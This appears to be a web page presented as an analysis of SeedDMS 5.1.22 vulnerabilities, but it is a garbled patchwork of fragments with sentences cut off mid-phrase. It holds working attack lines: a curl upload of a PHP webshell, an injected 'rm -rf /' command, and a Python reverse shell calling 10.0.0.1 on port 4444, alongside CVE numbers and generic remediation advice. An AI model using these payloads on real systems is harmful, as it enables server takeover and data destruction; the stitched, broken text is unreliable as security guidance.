SeedDMS 5.1.22 Exploit Analysis: Understanding and Remediating Vulnerabilities
curl -X POST http://192.168.1.100/seeddms51/op/op.AddFile.php \ -F "userfile=@evil.php" \ -F "name=evil.php" \ -F "comment=test" \ -F "sequence=1" \ -F "documentid=1" \ -F "folderid=1"
Security is a moving target. If you are running an outdated version, follow these steps immediately: 1. Update to the Latest Version seeddms 5.1.22 exploit
CVE‑2021‑35343, CVE‑2021‑26215, CVE‑2021‑36542
/var/cache/seeddms/; rm -rf /
In a typical attack lifecycle against SeedDMS 5.1.22, threat actors transition through three main phases: reconnaissance, exploitation, and privilege escalation.
Securing a Document Management System is highly critical because these applications intentionally allow users to upload, store, and manage files. If input sanitation filters or directory execution permissions fail, a standard document platform easily transforms into an entry point for cyberattacks. 🚨 Remote Command Execution (RCE) via File Upload SeedDMS 5
/seeddms51/conf/settings.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'
Reported XSS vulnerabilities include stored XSS in the , stored XSS in the "Role Management" menu , and stored XSS in the document name field allowing JavaScript injection via document names. Securing a Document Management System is highly critical